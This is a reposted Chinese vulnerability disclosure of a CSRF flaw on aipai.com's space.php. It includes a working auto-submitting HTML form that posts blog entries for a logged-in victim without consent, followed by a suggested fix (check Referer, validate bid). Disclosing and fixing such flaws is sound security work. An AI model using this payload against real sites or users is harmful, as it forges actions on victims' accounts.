在接受POST信息时，未对POST来路(Referer)进行验证，对POST信息中的bid要求不严，导致漏洞产生。 漏洞证明：漏洞地址： http://www.aipai.com/space.php
<html> <body> www.2cto.com <form id="imlonghao" name="imlonghao" action="http://www.aipai.com/space.php" method="post"> <input type="text" name="action" value="blog" /> <input type="text" name="post" value="true" /> <input type="text" name="comment" value="XX" /> <input type="submit" value="submit" /> </form> <script> document.imlonghao.submit(); </script> </body> </ html >
原本POST信息中有一个bid的信息，就是写上自己的ID，本来以为会失败的，谁知道一删除这段代码也能照样更新日志。
接口返回信息
效果
修复方案： 检查POST来路Referer 严格检查POST信息中的bid参数，严格判断是否为用户 作者 imlonghao
查看更多关于爱拍CSRF 未经用户同意可更新日志 - 网站安全 -的详细内容...
声明：本文来自网络，不代表【好得很程序员自学网】立场，转载请注明出处：http://haodehen.cn/did12970